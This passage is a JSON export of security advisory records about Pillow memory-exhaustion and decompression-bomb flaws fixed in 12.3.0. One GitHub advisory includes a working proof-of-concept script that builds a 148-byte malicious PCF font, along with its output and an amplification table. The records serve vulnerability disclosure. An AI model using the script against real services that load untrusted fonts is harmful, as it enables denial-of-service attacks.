12.3.0.","status":"published","published":"2026-07-06T18:46:09.433Z","modified":"2026-10-28T02:30:42.644058195Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-789"],"updated_at":"2026-11-02T15:45:08.132336Z"},{"id":"DEBIAN-CVE-2026-54059","description":"Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-06T19:17:08.127Z","modified":"2026-10-26T12:02:58.092085596Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:57.236551Z"},{"id":"GHSA-8v84-f9pq-wr9x","title":"Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading","description":"## Description\n`PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values:\n\n```\nxsize = right - left          (max: 65535 − 0 = 65535)\nysize = ascent + descent      (max: 65535 + 65535 = 131070)\n```\n\nMaximum exploitable pixel count: **65,535 × 131,070 = 8,589,734,450 pixels** — **48× the DecompressionBombError threshold**.\n\n**Vulnerable code (`PIL/PcfFontFile.py` line 224–227):**\n```python\nfor i in range(nbitmaps):\n    xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled\n    b, e = offsets[i : i + 2]\n    bitmaps.append(\n        Image.frombytes(\"1\", (xsize, ysize), data[b:e], \"raw\", mode, pad(xsize))\n        # ↑ NO _decompression_bomb_check()!\n    )\n```\n\n`Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths:\n\n- **Persistent attack**: Provide matching bitmap data → `frombytes()` succeeds → image stored in `font.glyph[ch]` permanently\n- **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data → `Image.new()` allocates the full buffer → `ValueError` → buffer freed → but the spike occurs before Python can respond\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation\"\"\"\nimport io, struct, tracemalloc, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.PcfFontFile import PcfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n    _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n    print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# PCF binary constants\nPCF_MAGIC    = 0x70636601\nPCF_PROPS    = 1 \u003c\u003c 0\nPCF_METRICS  = 1 \u003c\u003c 2\nPCF_BITMAPS  = 1 \u003c\u003c 3\nPCF_ENCODINGS= 1 \u003c\u003c 5\n\ndef build_bomb_pcf(xsize, ysize):\n    # Properties: empty\n    props = struct.pack(\"\u003cIII\", 0, 0, 0)\n\n    # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent\n    metrics = struct.pack(\"\u003cII\", 0, 1)\n    metrics += struct.pack(\"\u003cHHHHHH\", 0, xsize, xsize, ysize, 0, 0)\n\n    # Bitmaps: 1 glyph, empty data (transient attack)\n    bitmaps = struct.pack(\"\u003cII\", 0, 1)\n    bitmaps += struct.pack(\"\u003cI\", 0)              # offset[0] = 0\n    bitmaps += struct.pack(\"\u003cIIII\", 0, 0, 0, 0) # bitmap_sizes all = 0\n\n    # Encodings: char 0x41 ('A') → glyph 0\n    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62\n    encodings = struct.pack(\"\u003cIHHHHH\", 0, 0, 127, 0, 0, 0xFFFF)\n    encodings += struct.pack(\"\u003c\" + \"H\"*128, *enc_offsets)\n\n    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),\n            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]\n    hdr_size = 4 + 4 + len(secs) * 16\n    out = struct.pack(\"\u003cII\", PCF_MAGIC, len(secs))\n    offset = hdr_size\n    for stype, sdata in secs:\n        out += struct.pack(\"\u003cIIII\", stype, 0, len(sdata), offset)\n        offset += len(sdata)\n    for _, sdata in secs:\n        out += sdata\n    return out\n\npcf = build_bomb_pcf(W, H)\nprint(f\"[*] PCF file size  : {len(pcf)} bytes\")\nprint(f\"[*] Glyph size     : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)\")\n\ntracemalloc.start()\ntry:\n    font = PcfFontFile(io.BytesIO(pcf))\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB\")\nexcept Exception as e:\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (transient): {type(e).__name__} after allocation\")\n    print(f\"    Heap peak: {peak/1024**2:.2f} MB\")\n    print(f\"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] PCF file size  : 148 bytes\n[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels\n[*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)\n[!] CONFIRMED (transient): ValueError after allocation\n    C-heap allocation of ~23 MB occurred before exception\n```\n\n**Amplification table:**\n\n| PCF file | Glyph dims | C-heap (mode '1') | Bomb check |\n|---|---|---|---|\n| 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed |\n| 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed |\n| ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed |\n\n## Impact\n- **Availability**: HIGH — up to 1.07 GB per glyph, no limit per font file\n- **Confidentiality**: None\n- **Integrity**: None\n- Any service loading PCF fonts from untrusted sources (e.g., `PcfFontFile(fp)`) is affected\n- `PcfFontFile` is never loaded via `Image.open()`, so the bomb check protection is completely absent from the entire PCF font loading path\n- Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-07","status":"published","published":"2026-07-20T21:08:27Z","modified":"2026-09-10T03:51:11.229114807Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-789"],"updated_at":"2026-11-02T15:46:42.78452Z"},{"id":"OESA-2026-3137","title":"python-pillow security update","description":"Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \\ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift.    of CVE-2022-22815,CVE-2022-22816)\r\n\r\nSecurity Fix(es):\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new(\u0026quot;1\u0026quot;, (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow\u0026apos;s documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow\u0026apos;s public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)\n\nPillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)\n\nPillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)","status":"published","published":"2026-07-24T11:12:01Z","modified":"2026-08-18T01:21:25.079725782Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"OESA-2026-3138","title":"python-pillow security update","description":"Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \\ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift.    of CVE-2022-22815,CVE-2022-22816)\r\n\r\nSecurity Fix(es):\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new(\u0026quot;1\u0026quot;, (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow\u0026apos;s documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow\u0026apos;s public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)\n\nPillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)\n\nPillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)","status":"published","published":"2026-07-24T11:12:01Z","modified":"2026-08-18T01:21:24.130369873Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"OESA-2026-3139","title":"python-pillow security update","description":"Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \\ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift.    of CVE-2022-22815,CVE-2022-22816)\r\n\r\nSecurity Fix(es):\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new(\u0026quot;1\u0026quot;, (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow\u0026apos;s documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)\n\nPillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)\n\nPillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)","status":"published","published":"2026-07-24T11:12:01Z","modified":"2026-08-18T01:21:23.957988879Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"OESA-2026-3140","title":"python-pillow security update","description":"Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \\ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift.    of CVE-2022-22815,CVE-2022-22816)\r\n\r\nSecurity Fix(es):\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new(\u0026quot;1\u0026quot;, (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow\u0026apos;s documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)\n\nPillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)\n\nPillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)","status":"published","published":"2026-07-24T11:12:01Z","modified":"2026-08-18T01:21:25.106890866Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"OESA-2026-3141","title":"python-pillow security update","description":"Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \\ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift.    of CVE-2022-22815,CVE-2022-22816)\r\n\r\nSecurity Fix(es):\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new(\u0026quot;1\u0026quot;, (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow\u0026apos;s documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)\n\nPillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)\n\nPillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow\u0026apos;s TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)\n\nPillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)","status":"published","published":"2026-07-24T11:12:01Z","modified":"2026-08-18T01:21:25.227036325Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"PYSEC-2026-2253","description":"Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-06T19:17:08.127Z","modified":"2026-07-13T07:26:49.281845979Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.537808Z"},{"id":"RHSA-2026:39127","title":"Red Hat Security Advisory: python-pillow security update","status":"published","published":"2026-07-15T10:10:10Z","modified":"2026-10-16T10:17:11Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.491441Z"},{"id":"RHSA-2026:48759","title":"Red Hat Security Advisory: python-pillow security update","status":"published","published":"2026-08-01T10:11:01Z","modified":"2026-10-16T10:18:53Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:48760","title":"Red Hat Security Advisory: python-pillow security update","status":"published","published":"2026-08-01T10:11:02Z","modified":"2026-10-16T10:18:54Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:50221","title":"Red Hat Security Advisory: Satellite 6.19.3 Async Update","status":"published","published":"2026-08-05T10:37:32Z","modified":"2026-10-20T10:10:20Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:50222","title":"Red Hat Security Advisory: Satellite 6.17.10 Async Update","status":"published","published":"2026-08-05T10:37:33Z","modified":"2026-10-20T10:10:21Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:50223","title":"Red Hat Security Advisory: Satellite 6.16.12 Async Update","status":"published","published":"2026-08-05T10:37:33Z","modified":"2026-10-20T10:10:22Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:50263","title":"Red Hat Security Advisory: Satellite 6.18.8 Async Update","status":"published","published":"2026-08-05T10:37:34Z","modified":"2026-10-20T10:10:22Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:50319","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update","status":"published","published":"2026-08-05T10:37:39Z","modified":"2026-10-20T10:10:26Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:50336","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update","status":"published","published":"2026-08-05T10:37:39Z","modified":"2026-10-20T10:10:26Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:52551","title":"Red Hat Security Advisory: python-pillow security update","status":"published","published":"2026-08-10T10:13:36Z","modified":"2026-10-16T10:19:35Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:21.457353Z"},{"id":"RLSA-2026:39127","title":"Important: python-pillow security update","description":"Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.\n\nSecurity Fix(es):\n\n* python-pillow: Pillow: Denial of Service via crafted BDF font file (CVE-2026-55379)\n\n* python-pillow: Pillow: Denial of Service via crafted GD 2.x image file (CVE-2026-55380)\n\n* python-pillow: Pillow: Denial of Service via crafted PCF font data (CVE-2026-54059)\n\n* python-pillow: Pillow: Denial of Service via excessive memory allocation when processing font files (CVE-2026-54060)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2026-07-15T12:01:08.928069Z","modified":"2026-07-15T12:30:06.273746949Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:26.111232Z"},{"id":"UBUNTU-CVE-2026-54059","description":"Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-06T19:17:00Z","modified":"2026-11-05T11:46:36.699431766Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-05T13:30:15.321876Z"},{"id":"ALSA-2026:39127","title":"Important: python-pillow security update","description":"Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.  \n\nSecurity Fix(es):  \n\n  * python-pillow: Pillow: Denial of Service via crafted BDF font file (CVE-2026-55379)\n  * python-pillow: Pillow: Denial of Service via crafted GD 2.x image file (CVE-2026-55380)\n  * python-pillow: Pillow: Denial of Service via crafted PCF font data (CVE-2026-54059)\n  * python-pillow: Pillow: Denial of Service via excessive memory allocation when processing font files (CVE-2026-54060)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n","status":"published","published":"2026-07-14T00:00:00Z","modified":"2026-10-29T11:02:24.759516737Z","updated_at":"2026-11-02T15:27:54.283654Z"},{"id":"BIT-pillow-2026-54059","title":"Pillow: PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading","description":"Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-08T11:34:09.383Z","modified":"2026-09-08T08:48:18.499209186Z","updated_at":"2026-11-02T15:28:34.724063Z"},{"id":"CLSA-2026-1786515922","title":"TuxCare security update for pillow (9 CVEs)","description":"TuxCare rebuilt pillow to address 9 CVEs. Fixed in 11.2.1.post4+tuxcare.","status":"published","published":"2026-08-12T06:25:22Z","modified":"2026-10-15T09:48:05.294046428Z","updated_at":"2026-11-02T15:43:46.850893Z"},{"id":"CLSA-2026-1787298843","title":"TuxCare security update for pillow (5 CVEs)","description":"TuxCare rebuilt pillow to address 5 CVEs. Fixed in 9.5.0.post3+tuxcare.","status":"published","published":"2026-08-21T07:54:03Z","modified":"2026-10-22T14:30:57.564652368Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787306626","title":"TuxCare security update for pillow (4 CVEs)","description":"TuxCare rebuilt pillow to address 4 CVEs. Fixed in 9.4.0.post5+tuxcare.","status":"published","published":"2026-08-21T10:03:46Z","modified":"2026-10-22T14:31:00.228802147Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787309468","title":"TuxCare security update for pillow (3 CVEs)","description":"TuxCare rebuilt pillow to address 3 CVEs. Fixed in 8.4.0.post3+tuxcare.","status":"published","published":"2026-08-21T10:51:08Z","modified":"2026-10-22T14:30:58.938541684Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787718630","title":"TuxCare security update for pillow (3 CVEs)","description":"TuxCare rebuilt pillow to address 3 CVEs. Fixed in 10.4.0.post6+tuxcare.","status":"published","published":"2026-08-26T04:30:30Z","modified":"2026-10-15T09:48:05.741653976Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1790674233","title":"TuxCare security update for pillow (14 CVEs)","description":"TuxCare rebuilt pillow to address 14 CVEs. Fixed in 11.3.0.post5+tuxcare.","status":"published","published":"2026-09-29T09:30:33Z","modified":"2026-10-15T09:48:02.144374386Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"MGASA-2026-0463","title":"Updated python-pillow packages fix security vulnerabilities","description":"Prevent decompression bomb when parsing PDF\nWindowsViewer.get_command injection\nEPS image infinite loop\nJPEG2000 image memory usage\nMcIdas out-of-bounds (OOB) read\nOut-of-bounds (OOB) read when saving 1 mode TGA 